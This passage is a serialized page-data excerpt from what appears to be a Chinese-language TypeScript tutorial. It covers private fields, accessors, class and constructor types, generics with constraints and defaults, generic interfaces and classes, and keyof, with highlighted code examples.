}\n}\nnew Vault().#secret            \u002F\u002F ✗ 语法直接报错\n(new Vault() as any).secret    \u002F\u002F 也拿不到，运行时确实没有这个公开属性\n",[22,102784,102785,102794,102807,102821,102835,102839,102851],{"__ignoreMap":314},[331,102786,102787,102789,102792],{"class":333,"line":334},[331,102788,24306],{"class":616},[331,102790,102791],{"class":501}," Vault",[331,102793,1100],{"class":337},[331,102795,102796,102799,102801,102804],{"class":333,"line":341},[331,102797,102798],{"class":2472},"  #secret",[331,102800,957],{"class":616},[331,102802,102803],{"class":365}," 'abc'",[331,102805,102806],{"class":1003},"              \u002F\u002F 运行时私有，编译后是真私有\n",[331,102808,102809,102811,102814,102816,102818],{"class":333,"line":357},[331,102810,102288],{"class":616},[331,102812,102813],{"class":2472}," hint",[331,102815,957],{"class":616},[331,102817,98691],{"class":365},[331,102819,102820],{"class":1003},"           \u002F\u002F 仅编译期私有\n",[331,102822,102823,102826,102828,102830,102832],{"class":333,"line":371},[331,102824,102825],{"class":501},"  reveal",[331,102827,17990],{"class":337},[331,102829,10859],{"class":616},[331,102831,18014],{"class":344},[331,102833,102834],{"class":337},".#secret }\n",[331,102836,102837],{"class":333,"line":384},[331,102838,459],{"class":337},[331,102840,102841,102843,102845,102848],{"class":333,"line":397},[331,102842,35155],{"class":616},[331,102844,102791],{"class":501},[331,102846,102847],{"class":337},"().#secret            ",[331,102849,102850],{"class":1003},"\u002F\u002F ✗ 语法直接报错\n",[331,102852,102853,102855,102857,102859,102861,102863,102865,102868],{"class":333,"line":418},[331,102854,966],{"class":337},[331,102856,35155],{"class":616},[331,102858,102791],{"class":501},[331,102860,23168],{"class":337},[331,102862,73430],{"class":616},[331,102864,9486],{"class":344},[331,102866,102867],{"class":337},").secret    ",[331,102869,102870],{"class":1003},"\u002F\u002F 也拿不到，运行时确实没有这个公开属性\n",[11,102872,102873,5160,102875,102877,102878,102880,102881,102883,102884,102886,102887,161],{},[22,102874,20333],{},[22,102876,102244],{}," 别混用概念：",[22,102879,102244],{}," 是 TS 的类型层约束（会被擦除），",[22,102882,20333],{}," 是 JS 的运行层约束（会保留）。老打包目标不支持 ",[22,102885,20333],{}," 时 TS 会把它降级成 ",[22,102888,102889],{},"WeakMap",[53,102891,102893,102894,1901,102896],{"id":102892},"访问器-get-set","访问器 ",[22,102895,2608],{},[22,102897,2529],{},[11,102899,102900],{},"访问器和 JS 一样，TS 只是给读写分别加类型：",[308,102902,102904],{"className":5205,"code":102903,"language":5207,"meta":314,"style":314},"class Temp {\n  #c = 0\n  get celsius() { return this.#c }\n  set celsius(v: number) { this.#c = v }\n}\n",[22,102905,102906,102915,102924,102939,102965],{"__ignoreMap":314},[331,102907,102908,102910,102913],{"class":333,"line":334},[331,102909,24306],{"class":616},[331,102911,102912],{"class":501}," Temp",[331,102914,1100],{"class":337},[331,102916,102917,102920,102922],{"class":333,"line":341},[331,102918,102919],{"class":2472},"  #c",[331,102921,957],{"class":616},[331,102923,62402],{"class":344},[331,102925,102926,102928,102930,102932,102934,102936],{"class":333,"line":357},[331,102927,21680],{"class":616},[331,102929,21651],{"class":501},[331,102931,17990],{"class":337},[331,102933,10859],{"class":616},[331,102935,18014],{"class":344},[331,102937,102938],{"class":337},".#c }\n",[331,102940,102941,102943,102945,102947,102949,102951,102953,102955,102957,102960,102962],{"class":333,"line":371},[331,102942,21709],{"class":616},[331,102944,21651],{"class":501},[331,102946,966],{"class":337},[331,102948,14033],{"class":2472},[331,102950,1180],{"class":616},[331,102952,96507],{"class":344},[331,102954,31033],{"class":337},[331,102956,18040],{"class":344},[331,102958,102959],{"class":337},".#c ",[331,102961,518],{"class":616},[331,102963,102964],{"class":337}," v }\n",[331,102966,102967],{"class":333,"line":384},[331,102968,459],{"class":337},[11,102970,92887,102971,102973,102974,102976],{},[22,102972,2608],{}," 不写 ",[22,102975,2529],{}," 会读得到、写不进（严格模式下赋值报错），等价于一个「计算得出的只读属性」。",[53,102978,102980],{"id":102979},"类的类型-vs-实例的类型","类的类型 vs 实例的类型",[11,102982,17662,102983,102985,102986,102989,102990,102992],{},[22,102984,24306],{}," 名字在 TS 里同时是",[17,102987,102988],{},"两个类型","：作为「实例的形状」和作为「构造器本身」。区分它们是理解 ",[22,102991,35155],{}," 和泛型约束的关键：",[308,102994,102996],{"className":5205,"code":102995,"language":5207,"meta":314,"style":314},"class User { name = '' }\nlet u: User = new User()          \u002F\u002F User = 实例类型\nlet C: typeof User = User         \u002F\u002F typeof User = 构造器类型（能 new 的那个）\nlet C2: new () => User = User     \u002F\u002F 也可以直接写构造签名\n",[22,102997,102998,103014,103035,103057],{"__ignoreMap":314},[331,102999,103000,103002,103004,103006,103008,103010,103012],{"class":333,"line":334},[331,103001,24306],{"class":616},[331,103003,67810],{"class":501},[331,103005,605],{"class":337},[331,103007,1900],{"class":2472},[331,103009,957],{"class":616},[331,103011,1203],{"class":365},[331,103013,9413],{"class":337},[331,103015,103016,103018,103020,103022,103024,103026,103028,103030,103032],{"class":333,"line":341},[331,103017,18926],{"class":616},[331,103019,97693],{"class":337},[331,103021,1180],{"class":616},[331,103023,67810],{"class":501},[331,103025,957],{"class":616},[331,103027,1214],{"class":616},[331,103029,67810],{"class":501},[331,103031,13919],{"class":337},[331,103033,103034],{"class":1003},"\u002F\u002F User = 实例类型\n",[331,103036,103037,103039,103042,103044,103046,103049,103051,103054],{"class":333,"line":357},[331,103038,18926],{"class":616},[331,103040,103041],{"class":344}," C",[331,103043,1180],{"class":616},[331,103045,25575],{"class":616},[331,103047,103048],{"class":337}," User ",[331,103050,518],{"class":616},[331,103052,103053],{"class":337}," User         ",[331,103055,103056],{"class":1003},"\u002F\u002F typeof User = 构造器类型（能 new 的那个）\n",[331,103058,103059,103061,103064,103066,103068,103070,103072,103074,103076,103079],{"class":333,"line":371},[331,103060,18926],{"class":616},[331,103062,103063],{"class":344}," C2",[331,103065,1180],{"class":616},[331,103067,1214],{"class":616},[331,103069,7268],{"class":337},[331,103071,1489],{"class":616},[331,103073,67810],{"class":501},[331,103075,957],{"class":616},[331,103077,103078],{"class":337}," User     ",[331,103080,103081],{"class":1003},"\u002F\u002F 也可以直接写构造签名\n",[11,103083,103084,103086,103087,103090],{},[22,103085,68033],{}," 指实例的形状，",[22,103088,103089],{},"typeof User"," 指「这个类本身」。写「接收一个类、内部 new 它」的泛型函数时（第十一章），这个区别会立刻用上。",[48,103092,103094,103095],{"id":103093},"十一泛型入门为什么需要泛型而不是-any","十一、泛型入门：为什么需要泛型而不是 ",[22,103096,96855],{},[11,103098,103099,103100,103103,103104,103106],{},"泛型是 TS 的灵魂。这一章先建立直觉：",[17,103101,103102],{},"泛型是「类型的参数」","——函数接收值作为参数，泛型函数额外接收「类型」作为参数，让返回类型能跟着输入类型的形状变化。先看不用泛型、用 ",[22,103105,96855],{}," 的失败，再看泛型怎么救场。",[53,103108,103110,103111,103113],{"id":103109},"同一个例子先写成-any再写成泛型","同一个例子：先写成 ",[22,103112,96855],{},"，再写成泛型",[11,103115,103116,103117,322],{},"需求：写一个函数，返回数组的第一个元素。用 ",[22,103118,96855],{},[308,103120,103122],{"className":5205,"code":103121,"language":5207,"meta":314,"style":314},"function firstAny(arr: any[]): any {\n  return arr[0]\n}\nconst x = firstAny([1, 2, 3])   \u002F\u002F x: any —— 丢了元素类型！\nx.toFixed(2)                     \u002F\u002F 不报错，但可能运行时崩\nfirstAny(['a']).toUpperCase()    \u002F\u002F 也不能安全地知道是 string\n",[22,103123,103124,103147,103158,103162,103190,103205],{"__ignoreMap":314},[331,103125,103126,103128,103131,103133,103135,103137,103139,103141,103143,103145],{"class":333,"line":334},[331,103127,3047],{"class":616},[331,103129,103130],{"class":501}," firstAny",[331,103132,966],{"class":337},[331,103134,99868],{"class":2472},[331,103136,1180],{"class":616},[331,103138,9486],{"class":344},[331,103140,99728],{"class":337},[331,103142,1180],{"class":616},[331,103144,9486],{"class":344},[331,103146,1100],{"class":337},[331,103148,103149,103151,103154,103156],{"class":333,"line":341},[331,103150,1633],{"class":616},[331,103152,103153],{"class":337}," arr[",[331,103155,628],{"class":344},[331,103157,1268],{"class":337},[331,103159,103160],{"class":333,"line":357},[331,103161,459],{"class":337},[331,103163,103164,103166,103168,103170,103172,103174,103176,103178,103180,103182,103184,103187],{"class":333,"line":371},[331,103165,951],{"class":616},[331,103167,63067],{"class":344},[331,103169,957],{"class":616},[331,103171,103130],{"class":501},[331,103173,9735],{"class":337},[331,103175,7993],{"class":344},[331,103177,409],{"class":337},[331,103179,9292],{"class":344},[331,103181,409],{"class":337},[331,103183,351],{"class":344},[331,103185,103186],{"class":337},"])   ",[331,103188,103189],{"class":1003},"\u002F\u002F x: any —— 丢了元素类型！\n",[331,103191,103192,103194,103196,103198,103200,103202],{"class":333,"line":384},[331,103193,97583],{"class":337},[331,103195,98471],{"class":501},[331,103197,966],{"class":337},[331,103199,9292],{"class":344},[331,103201,64800],{"class":337},[331,103203,103204],{"class":1003},"\u002F\u002F 不报错，但可能运行时崩\n",[331,103206,103207,103210,103212,103214,103217,103219,103221],{"class":333,"line":397},[331,103208,103209],{"class":501},"firstAny",[331,103211,9735],{"class":337},[331,103213,9298],{"class":365},[331,103215,103216],{"class":337},"]).",[331,103218,65555],{"class":501},[331,103220,100523],{"class":337},[331,103222,103223],{"class":1003},"\u002F\u002F 也不能安全地知道是 string\n",[11,103225,103226,103228,103229,103232,103233,103239],{},[22,103227,96855],{}," 版本致命缺陷：进去的时候你知道是 ",[22,103230,103231],{},"number[]","，出来的时候啥都不知道了——",[17,103234,103235,103236,103238],{},"信息在 ",[22,103237,96855],{}," 处漏光了","。现在用泛型：",[308,103241,103243],{"className":5205,"code":103242,"language":5207,"meta":314,"style":314},"function first\u003CT>(arr: T[]): T {\n  return arr[0]\n}\nconst a = first([1, 2, 3])   \u002F\u002F T 被推断成 number，a: number\nconst b = first(['x', 'y'])  \u002F\u002F T 推断成 string，b: string\na.toFixed(2)                  \u002F\u002F ✓ 知道是 number\nb.toUpperCase()               \u002F\u002F ✓ 知道是 string\n",[22,103244,103245,103272,103282,103286,103313,103339,103355],{"__ignoreMap":314},[331,103246,103247,103249,103252,103254,103256,103258,103260,103262,103264,103266,103268,103270],{"class":333,"line":334},[331,103248,3047],{"class":616},[331,103250,103251],{"class":501}," first",[331,103253,510],{"class":337},[331,103255,75387],{"class":501},[331,103257,102175],{"class":337},[331,103259,99868],{"class":2472},[331,103261,1180],{"class":616},[331,103263,102172],{"class":501},[331,103265,99728],{"class":337},[331,103267,1180],{"class":616},[331,103269,102172],{"class":501},[331,103271,1100],{"class":337},[331,103273,103274,103276,103278,103280],{"class":333,"line":341},[331,103275,1633],{"class":616},[331,103277,103153],{"class":337},[331,103279,628],{"class":344},[331,103281,1268],{"class":337},[331,103283,103284],{"class":333,"line":357},[331,103285,459],{"class":337},[331,103287,103288,103290,103292,103294,103296,103298,103300,103302,103304,103306,103308,103310],{"class":333,"line":371},[331,103289,951],{"class":616},[331,103291,60744],{"class":344},[331,103293,957],{"class":616},[331,103295,103251],{"class":501},[331,103297,9735],{"class":337},[331,103299,7993],{"class":344},[331,103301,409],{"class":337},[331,103303,9292],{"class":344},[331,103305,409],{"class":337},[331,103307,351],{"class":344},[331,103309,103186],{"class":337},[331,103311,103312],{"class":1003},"\u002F\u002F T 被推断成 number，a: number\n",[331,103314,103315,103317,103319,103321,103323,103325,103328,103330,103333,103336],{"class":333,"line":384},[331,103316,951],{"class":616},[331,103318,60747],{"class":344},[331,103320,957],{"class":616},[331,103322,103251],{"class":501},[331,103324,9735],{"class":337},[331,103326,103327],{"class":365},"'x'",[331,103329,409],{"class":337},[331,103331,103332],{"class":365},"'y'",[331,103334,103335],{"class":337},"])  ",[331,103337,103338],{"class":1003},"\u002F\u002F T 推断成 string，b: string\n",[331,103340,103341,103344,103346,103348,103350,103352],{"class":333,"line":397},[331,103342,103343],{"class":337},"a.",[331,103345,98471],{"class":501},[331,103347,966],{"class":337},[331,103349,9292],{"class":344},[331,103351,66624],{"class":337},[331,103353,103354],{"class":1003},"\u002F\u002F ✓ 知道是 number\n",[331,103356,103357,103360,103362,103365],{"class":333,"line":418},[331,103358,103359],{"class":337},"b.",[331,103361,65555],{"class":501},[331,103363,103364],{"class":337},"()               ",[331,103366,103367],{"class":1003},"\u002F\u002F ✓ 知道是 string\n",[11,103369,103370,103372,103373,103375,103376,103378,103379,103381,103382,161,103384,103387,103388,103390],{},[22,103371,96575],{}," 是一个「类型变量」：调用时 TS 看实参 ",[22,103374,103231],{},"，把 ",[22,103377,75387],{}," 填成 ",[22,103380,62821],{},"，于是返回值也就是 ",[22,103383,62821],{},[17,103385,103386],{},"类型进了函数又活着出来了","——这就是泛型相对 ",[22,103389,96855],{}," 的全部价值：既复用代码，又不牺牲信息。",[4748,103392],{"height":42104,"src":103393,"title":103394},"\u002Ftutorials\u002Fts\u002Fdemos\u002F11-generics-intro.html","示例 11：泛型入门——同一个函数用 any 与用泛型的差距",[53,103396,103398,103399,103401],{"id":103397},"泛型约束-extends给类型变量划范围","泛型约束 ",[22,103400,98241],{},"：给类型变量划范围",[11,103403,103404,103406,103407,103409],{},[22,103405,96575],{}," 天真的地方是「T 上什么成员都不能访问」（因为编译器不知道 T 长啥样）。想访问某成员，就得用 ",[22,103408,98241],{}," 约束它至少具备什么：",[308,103411,103413],{"className":5205,"code":103412,"language":5207,"meta":314,"style":314},"function longest\u003CT extends { length: number }>(a: T, b: T): T {\n  return a.length >= b.length ? a : b    \u002F\u002F ✓ 约束保证 a\u002Fb 一定有 length\n}\nlongest('abc', 'a')        \u002F\u002F string 有 length，通过\nlongest([1, 2], [])        \u002F\u002F 数组也有 length，通过\nlongest(1, 2)              \u002F\u002F ✗ number 没有 length，被约束挡住\n",[22,103414,103415,103461,103488,103492,103510,103528],{"__ignoreMap":314},[331,103416,103417,103419,103422,103424,103426,103428,103430,103432,103434,103436,103439,103441,103443,103445,103447,103449,103451,103453,103455,103457,103459],{"class":333,"line":334},[331,103418,3047],{"class":616},[331,103420,103421],{"class":501}," longest",[331,103423,510],{"class":337},[331,103425,75387],{"class":501},[331,103427,68378],{"class":616},[331,103429,605],{"class":337},[331,103431,10192],{"class":2472},[331,103433,1180],{"class":616},[331,103435,96507],{"class":344},[331,103437,103438],{"class":337}," }>(",[331,103440,30],{"class":2472},[331,103442,1180],{"class":616},[331,103444,102172],{"class":501},[331,103446,409],{"class":337},[331,103448,22158],{"class":2472},[331,103450,1180],{"class":616},[331,103452,102172],{"class":501},[331,103454,1351],{"class":337},[331,103456,1180],{"class":616},[331,103458,102172],{"class":501},[331,103460,1100],{"class":337},[331,103462,103463,103465,103467,103469,103472,103474,103476,103478,103480,103482,103485],{"class":333,"line":341},[331,103464,1633],{"class":616},[331,103466,99920],{"class":337},[331,103468,10192],{"class":344},[331,103470,103471],{"class":616}," >=",[331,103473,99927],{"class":337},[331,103475,10192],{"class":344},[331,103477,2631],{"class":616},[331,103479,31001],{"class":337},[331,103481,1180],{"class":616},[331,103483,103484],{"class":337}," b    ",[331,103486,103487],{"class":1003},"\u002F\u002F ✓ 约束保证 a\u002Fb 一定有 length\n",[331,103489,103490],{"class":333,"line":357},[331,103491,459],{"class":337},[331,103493,103494,103497,103499,103501,103503,103505,103507],{"class":333,"line":371},[331,103495,103496],{"class":501},"longest",[331,103498,966],{"class":337},[331,103500,10578],{"class":365},[331,103502,409],{"class":337},[331,103504,9298],{"class":365},[331,103506,13842],{"class":337},[331,103508,103509],{"class":1003},"\u002F\u002F string 有 length，通过\n",[331,103511,103512,103514,103516,103518,103520,103522,103525],{"class":333,"line":384},[331,103513,103496],{"class":501},[331,103515,9735],{"class":337},[331,103517,7993],{"class":344},[331,103519,409],{"class":337},[331,103521,9292],{"class":344},[331,103523,103524],{"class":337},"], [])        ",[331,103526,103527],{"class":1003},"\u002F\u002F 数组也有 length，通过\n",[331,103529,103530,103532,103534,103536,103538,103540,103542],{"class":333,"line":397},[331,103531,103496],{"class":501},[331,103533,966],{"class":337},[331,103535,7993],{"class":344},[331,103537,409],{"class":337},[331,103539,9292],{"class":344},[331,103541,20580],{"class":337},[331,103543,103544],{"class":1003},"\u002F\u002F ✗ number 没有 length，被约束挡住\n",[11,103546,103547,103550],{},[22,103548,103549],{},"T extends U"," 读作「T 至少是 U 的形状」。约束既让函数内部能安全访问成员，又在调用点挡住了不合规格的实参——这是泛型「有边界」的两面。",[53,103552,103553],{"id":103553},"默认类型参数",[11,103555,103556,103559],{},[22,103557,103558],{},"\u003CT = 某类型>"," 给类型变量一个默认，调用时不显式传就用默认：",[308,103561,103563],{"className":5205,"code":103562,"language":5207,"meta":314,"style":314},"function box\u003CT = string>(v: T): { value: T } { return { value: v } }\nbox('a')       \u002F\u002F T = string\nbox(42)        \u002F\u002F T = number（实参优先于默认）\nbox\u003Cstring>(42)   \u002F\u002F 显式指定 T = string，此时 42 反而报错\n",[22,103564,103565,103608,103622,103635],{"__ignoreMap":314},[331,103566,103567,103569,103572,103574,103576,103578,103580,103582,103584,103586,103588,103590,103592,103594,103596,103598,103600,103603,103605],{"class":333,"line":334},[331,103568,3047],{"class":616},[331,103570,103571],{"class":501}," box",[331,103573,510],{"class":337},[331,103575,75387],{"class":501},[331,103577,957],{"class":616},[331,103579,96819],{"class":344},[331,103581,102175],{"class":337},[331,103583,14033],{"class":2472},[331,103585,1180],{"class":616},[331,103587,102172],{"class":501},[331,103589,1351],{"class":337},[331,103591,1180],{"class":616},[331,103593,605],{"class":337},[331,103595,22924],{"class":2472},[331,103597,1180],{"class":616},[331,103599,102172],{"class":501},[331,103601,103602],{"class":337}," } { ",[331,103604,10859],{"class":616},[331,103606,103607],{"class":337}," { value: v } }\n",[331,103609,103610,103613,103615,103617,103619],{"class":333,"line":341},[331,103611,103612],{"class":501},"box",[331,103614,966],{"class":337},[331,103616,9298],{"class":365},[331,103618,20939],{"class":337},[331,103620,103621],{"class":1003},"\u002F\u002F T = string\n",[331,103623,103624,103626,103628,103630,103632],{"class":333,"line":357},[331,103625,103612],{"class":501},[331,103627,966],{"class":337},[331,103629,31936],{"class":344},[331,103631,13842],{"class":337},[331,103633,103634],{"class":1003},"\u002F\u002F T = number（实参优先于默认）\n",[331,103636,103637,103639,103641,103643,103645,103647,103649],{"class":333,"line":371},[331,103638,103612],{"class":501},[331,103640,510],{"class":337},[331,103642,8909],{"class":344},[331,103644,102175],{"class":337},[331,103646,31936],{"class":344},[331,103648,62134],{"class":337},[331,103650,103651],{"class":1003},"\u002F\u002F 显式指定 T = string，此时 42 反而报错\n",[11,103653,103654],{},"默认类型参数常用于「给个合理缺省、但允许覆盖」的通用容器和工具函数。",[53,103656,103658],{"id":103657},"什么时候用泛型什么时候别","什么时候用泛型，什么时候别",[11,103660,103661,103662,103665,103666,272,103669,272,103671,272,103674,103677],{},"经验法则：",[17,103663,103664],{},"当「输入类型」和「输出类型」之间存在形状依赖时，用泛型","。像 ",[22,103667,103668],{},"first",[22,103670,10198],{},[22,103672,103673],{},"identity",[22,103675,103676],{},"Record\u003CK,V>"," 这种「你给啥类型、我按同样形状返回」的，泛型最合适。如果函数的返回类型和入参类型毫无关系，或者你只想要「多种固定情况之一」，用联合类型（第五章）而不是泛型——别为了看起来高级而把简单联合写成复杂泛型，可读性会付代价。",[48,103679,103681,103682,103684],{"id":103680},"十二泛型进阶接口类keyof索引访问与映射类型入门","十二、泛型进阶：接口、类、",[22,103683,97516],{},"、索引访问与映射类型入门",[11,103686,103687,103688,103690,103691,103694],{},"泛型不只活在函数上。这一章把泛型铺到接口、类型别名、类上，并介绍三件「类型的运算」工具：",[22,103689,97516],{},"、索引访问 ",[22,103692,103693],{},"T[K]","、以及映射类型的雏形——它们是下一章工具类型的地基。",[53,103696,103697],{"id":103697},"泛型接口与泛型类型别名",[11,103699,103700],{},"把类型变量放进接口\u002F别名的尖括号，就得到「可参数化的形状」：",[308,103702,103704],{"className":5205,"code":103703,"language":5207,"meta":314,"style":314},"interface Box\u003CT> { value: T }\ninterface Pair\u003CA, B> { first: A; second: B }\n\nlet b: Box\u003Cnumber> = { value: 1 }\nlet p: Pair\u003Cstring, boolean> = { first: 'a', second: true }\n\ntype Result\u003CT> = { ok: true; data: T } | { ok: false; error: string }\nfunction unwrap\u003CT>(r: Result\u003CT>): T | undefined {\n  return r.ok ? r.data : undefined\n}\n",[22,103705,103706,103728,103762,103766,103791,103825,103829,103882,103918,103935],{"__ignoreMap":314},[331,103707,103708,103710,103713,103715,103717,103720,103722,103724,103726],{"class":333,"line":334},[331,103709,96572],{"class":616},[331,103711,103712],{"class":501}," Box",[331,103714,510],{"class":337},[331,103716,75387],{"class":501},[331,103718,103719],{"class":337},"> { ",[331,103721,22924],{"class":2472},[331,103723,1180],{"class":616},[331,103725,102172],{"class":501},[331,103727,9413],{"class":337},[331,103729,103730,103732,103734,103736,103738,103740,103742,103744,103746,103748,103750,103752,103755,103757,103760],{"class":333,"line":341},[331,103731,96572],{"class":616},[331,103733,98337],{"class":501},[331,103735,510],{"class":337},[331,103737,101280],{"class":501},[331,103739,409],{"class":337},[331,103741,101284],{"class":501},[331,103743,103719],{"class":337},[331,103745,103668],{"class":2472},[331,103747,1180],{"class":616},[331,103749,88329],{"class":501},[331,103751,620],{"class":337},[331,103753,103754],{"class":2472},"second",[331,103756,1180],{"class":616},[331,103758,103759],{"class":501}," B",[331,103761,9413],{"class":337},[331,103763,103764],{"class":333,"line":357},[331,103765,998],{"emptyLinePlaceholder":997},[331,103767,103768,103770,103772,103774,103776,103778,103780,103782,103784,103787,103789],{"class":333,"line":371},[331,103769,18926],{"class":616},[331,103771,60747],{"class":337},[331,103773,1180],{"class":616},[331,103775,103712],{"class":501},[331,103777,510],{"class":337},[331,103779,62821],{"class":344},[331,103781,26860],{"class":337},[331,103783,518],{"class":616},[331,103785,103786],{"class":337}," { value: ",[331,103788,7993],{"class":344},[331,103790,9413],{"class":337},[331,103792,103793,103795,103797,103799,103801,103803,103805,103807,103809,103811,103813,103816,103818,103821,103823],{"class":333,"line":384},[331,103794,18926],{"class":616},[331,103796,98133],{"class":337},[331,103798,1180],{"class":616},[331,103800,98337],{"class":501},[331,103802,510],{"class":337},[331,103804,8909],{"class":344},[331,103806,409],{"class":337},[331,103808,8922],{"class":344},[331,103810,26860],{"class":337},[331,103812,518],{"class":616},[331,103814,103815],{"class":337}," { first: ",[331,103817,9298],{"class":365},[331,103819,103820],{"class":337},", second: ",[331,103822,1131],{"class":344},[331,103824,9413],{"class":337},[331,103826,103827],{"class":333,"line":397},[331,103828,998],{"emptyLinePlaceholder":997},[331,103830,103831,103833,103836,103838,103840,103842,103844,103846,103848,103850,103852,103854,103856,103858,103860,103862,103864,103866,103868,103870,103872,103874,103876,103878,103880],{"class":333,"line":418},[331,103832,3628],{"class":616},[331,103834,103835],{"class":501}," Result",[331,103837,510],{"class":337},[331,103839,75387],{"class":501},[331,103841,26860],{"class":337},[331,103843,518],{"class":616},[331,103845,605],{"class":337},[331,103847,73234],{"class":2472},[331,103849,1180],{"class":616},[331,103851,13639],{"class":344},[331,103853,620],{"class":337},[331,103855,5868],{"class":2472},[331,103857,1180],{"class":616},[331,103859,102172],{"class":501},[331,103861,2599],{"class":337},[331,103863,19115],{"class":616},[331,103865,605],{"class":337},[331,103867,73234],{"class":2472},[331,103869,1180],{"class":616},[331,103871,14414],{"class":344},[331,103873,620],{"class":337},[331,103875,1333],{"class":2472},[331,103877,1180],{"class":616},[331,103879,96819],{"class":344},[331,103881,9413],{"class":337},[331,103883,103884,103886,103889,103891,103893,103895,103897,103899,103901,103903,103905,103908,103910,103912,103914,103916],{"class":333,"line":427},[331,103885,3047],{"class":616},[331,103887,103888],{"class":501}," unwrap",[331,103890,510],{"class":337},[331,103892,75387],{"class":501},[331,103894,102175],{"class":337},[331,103896,66333],{"class":2472},[331,103898,1180],{"class":616},[331,103900,103835],{"class":501},[331,103902,510],{"class":337},[331,103904,75387],{"class":501},[331,103906,103907],{"class":337},">)",[331,103909,1180],{"class":616},[331,103911,102172],{"class":501},[331,103913,15984],{"class":616},[331,103915,63400],{"class":344},[331,103917,1100],{"class":337},[331,103919,103920,103922,103925,103927,103930,103932],{"class":333,"line":439},[331,103921,1633],{"class":616},[331,103923,103924],{"class":337}," r.ok ",[331,103926,1177],{"class":616},[331,103928,103929],{"class":337}," r.data ",[331,103931,1180],{"class":616},[331,103933,103934],{"class":344}," undefined\n",[331,103936,103937],{"class":333,"line":450},[331,103938,459],{"class":337},[11,103940,103941,103942,272,103945,272,103948,103950,103951,103954],{},"泛型接口是 API 建模的主力：",[22,103943,103944],{},"Result\u003CT>",[22,103946,103947],{},"Promise\u003CT>",[22,103949,97206],{},"、React 的 ",[22,103952,103953],{},"Props\u003CT>"," 全是它。",[53,103956,103957],{"id":103957},"泛型类",[11,103959,103960],{},"类同样能带类型参数，实例化时确定：",[308,103962,103964],{"className":5205,"code":103963,"language":5207,"meta":314,"style":314},"class Stack\u003CT> {\n  private items: T[] = []\n  push(v: T) { this.items.push(v) }\n  pop(): T | undefined { return this.items.pop() }\n}\nconst s = new Stack\u003Cnumber>()   \u002F\u002F 只能 push number\n",[22,103965,103966,103980,103997,104021,104048,104052],{"__ignoreMap":314},[331,103967,103968,103970,103973,103975,103977],{"class":333,"line":334},[331,103969,24306],{"class":616},[331,103971,103972],{"class":501}," Stack",[331,103974,510],{"class":337},[331,103976,75387],{"class":501},[331,103978,103979],{"class":337},"> {\n",[331,103981,103982,103984,103987,103989,103991,103993,103995],{"class":333,"line":341},[331,103983,102288],{"class":616},[331,103985,103986],{"class":2472}," items",[331,103988,1180],{"class":616},[331,103990,102172],{"class":501},[331,103992,63408],{"class":337},[331,103994,518],{"class":616},[331,103996,73003],{"class":337},[331,103998,103999,104002,104004,104006,104008,104010,104012,104014,104017,104019],{"class":333,"line":357},[331,104000,104001],{"class":501},"  push",[331,104003,966],{"class":337},[331,104005,14033],{"class":2472},[331,104007,1180],{"class":616},[331,104009,102172],{"class":501},[331,104011,31033],{"class":337},[331,104013,18040],{"class":344},[331,104015,104016],{"class":337},".items.",[331,104018,20810],{"class":501},[331,104020,25279],{"class":337},[331,104022,104023,104026,104028,104030,104032,104034,104036,104038,104040,104042,104044,104046],{"class":333,"line":371},[331,104024,104025],{"class":501},"  pop",[331,104027,68453],{"class":337},[331,104029,1180],{"class":616},[331,104031,102172],{"class":501},[331,104033,15984],{"class":616},[331,104035,63400],{"class":344},[331,104037,605],{"class":337},[331,104039,10859],{"class":616},[331,104041,18014],{"class":344},[331,104043,104016],{"class":337},[331,104045,65741],{"class":501},[331,104047,19943],{"class":337},[331,104049,104050],{"class":333,"line":384},[331,104051,459],{"class":337},[331,104053,104054,104056,104058,104060,104062,104064,104066,104068,104071],{"class":333,"line":397},[331,104055,951],{"class":616},[331,104057,97722],{"class":344},[331,104059,957],{"class":616},[331,104061,1214],{"class":616},[331,104063,103972],{"class":501},[331,104065,510],{"class":337},[331,104067,62821],{"class":344},[331,104069,104070],{"class":337},">()   ",[331,104072,104073],{"class":1003},"\u002F\u002F 只能 push number\n",[11,104075,104076,104077,104079,104080,104083,104084,104086,104087,161],{},"上一节 ",[22,104078,103089],{}," 那对概念在这里闭环：写一个「接收某个类的实例并返回同类」的泛型方法时，靠 ",[22,104081,104082],{},"new () => T"," 这样的构造签名约束，TS 才知道你能 ",[22,104085,35155],{}," 它、且 new 出来的就是 ",[22,104088,75387],{},[53,104090,104092,104094],{"id":104091},"keyof取一个类型所有键的联合",[22,104093,97516],{},"：取一个类型所有键的联合",[11,104096,104097,104100],{},[22,104098,104099],{},"keyof T"," 返回 T 全部属性名组成的字符串\u002F数字联合：",[308,104102,104104],{"className":5205,"code":104103,"language":5207,"meta":314,"style":314},"interface User { name: string; age: number }\ntype K = keyof User        \u002F\u002F 'name' | 'age'\n\nfunction get\u003CT, K extends keyof T>(obj: T, key: K): T[K] {\n  return obj[key]\n}\nget({ name: 'a', age: 1 }, 'name')   \u002F\u002F ✓ 返回类型是 string\nget({ name: 'a' }, 'nope')           \u002F\u002F ✗ 'nope' 不在 keyof 里\n",[22,104105,104106,104130,104146,104150,104200,104207,104211,104233],{"__ignoreMap":314},[331,104107,104108,104110,104112,104114,104116,104118,104120,104122,104124,104126,104128],{"class":333,"line":334},[331,104109,96572],{"class":616},[331,104111,67810],{"class":501},[331,104113,605],{"class":337},[331,104115,1900],{"class":2472},[331,104117,1180],{"class":616},[331,104119,96819],{"class":344},[331,104121,620],{"class":337},[331,104123,67295],{"class":2472},[331,104125,1180],{"class":616},[331,104127,96507],{"class":344},[331,104129,9413],{"class":337},[331,104131,104132,104134,104137,104139,104141,104143],{"class":333,"line":341},[331,104133,3628],{"class":616},[331,104135,104136],{"class":501}," K",[331,104138,957],{"class":616},[331,104140,102100],{"class":616},[331,104142,67810],{"class":501},[331,104144,104145],{"class":1003},"        \u002F\u002F 'name' | 